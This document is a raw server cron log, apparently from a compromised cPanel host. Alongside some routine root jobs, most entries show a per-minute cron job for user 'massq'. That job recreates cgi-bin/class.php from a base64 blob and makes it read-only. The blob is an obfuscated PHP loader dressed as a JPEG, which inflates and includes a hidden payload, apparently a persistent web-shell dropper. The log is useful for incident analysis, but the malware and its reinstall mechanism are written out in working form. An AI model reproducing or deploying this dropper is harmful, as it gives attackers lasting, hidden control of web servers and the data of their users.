Nov 11 09:26:01 server CROND[29635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:27:01 server CROND[30541]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 09:27:01 server CROND[30543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:28:01 server CROND[31503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:29:01 server CROND[32334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:30:01 server CROND[702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:30:01 server CROND[703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 09:30:01 server CROND[705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:30:01 server CROND[704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:31:01 server CROND[1586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:32:01 server CROND[2195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:33:01 server CROND[3024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:34:01 server CROND[3845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:35:01 server CROND[4673]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 09:35:01 server CROND[4674]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 09:35:01 server CROND[4678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:35:01 server CROND[4679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:35:01 server CROND[4680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:36:01 server CROND[5561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:37:01 server CROND[6372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:38:01 server CROND[7281]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
